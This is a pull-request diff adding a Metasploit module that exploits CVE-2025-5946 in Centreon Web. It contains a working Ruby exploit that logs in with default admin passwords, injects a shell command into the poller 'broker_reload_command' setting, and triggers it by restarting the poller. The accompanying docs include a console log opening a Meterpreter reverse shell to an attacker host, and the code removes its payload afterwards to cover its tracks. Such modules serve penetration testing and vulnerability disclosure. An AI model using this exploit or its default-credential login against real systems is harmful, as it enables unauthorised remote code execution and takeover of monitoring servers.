Skip to content
Merged
Show file tree
Hide file tree
Changes from 4 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
## Vulnerable Application
Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
This module exploits an command injection vulnerability using the `broker engine reload` setting
on the poller configuration page of the Centreon web application. Injecting a malcious payload
at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
You need have admin access at the Centreon Web application in order to execute this RCE.

This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
`24.10.13`, `24.04.18` and `23.10.28`.

The following releases were tested.

**Centreon Releases:**
* Centreon 24.10.8 on Debian 12 - VM Image

## Installation steps to install Centreon
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* [Install Centreon VM](https://docs.centreon.com/docs/installation/installation-of-a-central-server/using-virtual-machines/).
* After successful installation of Centreon you can access the application using the `webui` via `http(s)://your_ip/centreon`.

You are now ready to test the module.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/centreon_auth_rce_cve_2025_5946`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=Unix/Linux Command>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings

## Options

### USERNAME
The username (default: admin) to authenticate with the Centreon application.

### PASSWORD
This is the password (default: Centreon!123) in plain text to authenticate with the Centreon application.
Depending on the version installed, the default password can also be "centreon" or "Centreon123!" without the quotes ;-)

## Scenarios
### Centreon VM v24.10.8 - Unix/Linux Command target
Attack scenario: use the default admin credentials (admin:Centreon!123) of the Centreon application
to gain the privileges for the RCE.
```msf
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set rport 80
rport => 80
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set lhost 192.168.201.10
lhost => 192.168.201.10
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set password centreon
password => centreon
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Centreon version 24.10.8
[*] Trying to log in with admin credentials admin:centreon at the Centreon Web application.
[*] Succesfully authenticated at the Centreon Web application.
[*] Saving admin credentials at the msf database.
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3090404 bytes) to 192.168.201.6
[*] Meterpreter session 1 opened (192.168.201.10:4444 -> 192.168.201.6:51772) at 2025-11-03 08:47:22 +0000
[+] Payload has been successfully removed from the poller setting "broker_reload_command".

meterpreter > sysinfo
Computer : 192.168.201.6
OS : Debian 12.11 (Linux 6.1.0-37-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
meterpreter > pwd
/usr/share/centreon/www
meterpreter >
```
## Limitations
None.
293 changes: 293 additions & 0 deletions modules/exploits/linux/http/centreon_auth_rce_cve_2025_5946.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,293 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
'Description' => %q{
Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
This module exploits an command injection vulnerability using the `broker engine reload` setting
on the poller configuration page of the Centreon web application. Injecting a malcious payload
at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
You need have admin access at the Centreon Web application in order to execute this RCE.
This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
`24.10.13`, `24.04.18` and `23.10.28`.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
],
'References' => [
['CVE', '2025-5946'],
['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-09-24',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
])
end

# login at the Centreon web application
# return true if login successful else false
def centreon_login(name, pwd)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It'd be lovely this have this into a mixing, as there are already 3 modules targeting centreon.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd agree here, i think we have a non-written rule that if 3 modules are doing something similar it should be a mixin.

# login with admin credentials
# first try login logic in newer versions
post_data = {
login: name.to_s,
password: pwd.to_s
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
'data' => post_data.to_s
})
return true if res&.code == 200 && res.body.include?('redirect_uri')

# try again using login logic for older versions
# get centreon_token
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})

unless res&.code == 200 && res.body.include?('centreon_token')
vprint_status('No centreon_token found!')
return false
end

html = res.get_html_document
centreon_token = html.css("input[name='centreon_token']")[0].attribute_nodes[2].text

# login with admin credentials and centreon_token
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'useralias' => name.to_s,
'password' => pwd.to_s,
'submitLogin' => 'Connect',
'centreon_token' => centreon_token.to_s
}
})
return true if res&.code == 302
else
vprint_warning('Unable to process the centreon_token.')
end
false
end

# CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
def execute_payload(cmd, _opts = {})
@clean_payload = true
payload = ";#{cmd}"
vprint_status("payload=#{payload}")
# attach payload at the centreon broker engine "reload parameter
fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)

# trigger execution by restarting the poller
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
'keep_cookies' => true,
'vars_post' => {
'poller' => 1,
'mode' => 1
}
})
end

# attach payload at the centreon broker engine "reload" parameter and commit into the sql database
def drop_rce_payload(payload)
# get the poller configuration and centreon_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901,
'o' => 'c',
'server_id' => 1
}
})

unless res&.code == 200 && res.body.include?('centreon_token')
vprint_status('No centreon_token found!')
return false
end

html = res.get_html_document
centreon_token = html.css("input[name='centreon_token']")[0].attribute_nodes[2].text

# update poller "centreon broker engine reload" setting with payload
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901
},
'vars_post' => {
'name' => 'Central',
'ns_ip_address' => '127.0.0.1',
'localhost[localhost]' => 1,
'is_default[is_default]' => 1,
'gorgone_communication_type[gorgone_communication_type]' => 1,
'gorgone_port' => 5556,
'engine_start_command' => 'service centengine start',
'engine_stop_command' => 'service centengine stop',
'engine_restart_command' => 'service centengine restart',
'engine_reload_command' => 'service centengine reload',
'nagios_bin' => '/usr/sbin/centengine',
'nagiostats_bin' => '/usr/sbin/centenginestats',
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
'broker_reload_command' => "service cbd reload#{payload}",
'centreonbroker_cfg_path' => '/etc/centreon-broker',
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path' => nil,
'centreonconnector_path' => '/usr/lib64/centreon-connector',
'init_script_centreontrapd' => 'centreontrapd',
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
'ns_activate[ns_activate]' => 1,
'submitC' => 'Save',
'id' => 1,
'o' => 'c',
'centreon_token' => centreon_token.to_s
}
})
if res&.code == 200 && res.body.include?('ajaxOption table')
vprint_good('Poller setting "broker_reload_command" updated with payload.')
return true
end
vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
else
vprint_warning('Unable to process the centreon_token.')
end
return false
end

# try to remove the payload from the poller settings to cover our tracks
def cleanup
super
# check if payload should be cleaned
if @clean_payload
vprint_status('Cleaning up the mess...')
if drop_rce_payload(nil)
print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
else
print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
end
end
end

# get the Centreon version
# return version if successful else nil
def get_centreon_version
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This would also be great to have in a mixin <3

# get version information use Web API v2.0
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
'keep_cookies' => true
})
# for older versions try to scrape the version from the login web page
unless res&.code == 200 && res.body.include?('web')
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
return nil unless res&.code == 200

build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
return nil if build.nil?

return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
end
res_json = res.get_json_document
res_json['web']['version'] unless res_json.blank?
end

def check
version = get_centreon_version
return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?

case version.scan(/^\d+\.\d+/)[0]
when '24.10'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
when '24.04'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
when '23.10'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
end

CheckCode::Safe("Centreon version #{version}")
end

def exploit
# check if we can login at the Centreon Web application with the default admin credentials
username = datastore['USERNAME']
password = datastore['PASSWORD']
print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
print_status('Succesfully authenticated at the Centreon Web application.')

# storing credentials at the msf database
print_status('Saving admin credentials at the msf database.')
store_valid_credential(user: username, private: password)

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_payload(payload.encoded)
end
end